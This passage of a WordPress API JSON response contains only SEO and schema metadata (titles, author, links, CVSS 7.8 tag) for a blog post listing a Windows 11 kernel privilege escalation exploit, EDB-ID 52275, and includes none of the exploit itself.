redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Microsoft Windows 11 - Kernel Privilege Escalation - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=934","og_locale":"en_US","og_type":"article","og_title":"Microsoft Windows 11 - Kernel Privilege Escalation - zero redgem","og_description":"Exploit Details Basic Information Exploit Title Microsoft Windows 11 &#8211; Kernel Privilege Escalation Exploit ID EDB-ID:52275 Type exploitdb Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS Information CVSS...","og_url":"https:\/\/zero.redgem.net\/?p=934","og_site_name":"zero redgem","article_published_time":"2025-04-23T05:59:48+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=934#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=934"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Microsoft Windows 11 &#8211; Kernel Privilege Escalation","datePublished":"2025-04-23T05:59:48+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=934"},"wordCount":1870,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-7.8","exploit","exploitdb","HIGH","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=934#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=934","url":"https:\/\/zero.redgem.net\/?p=934","name":"Microsoft Windows 11 - Kernel Privilege Escalation - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-04-23T05:59:48+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=934#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=934"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=934#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Microsoft Windows 11 &#8211; Kernel Privilege Escalation"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/934","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=934"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/934\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}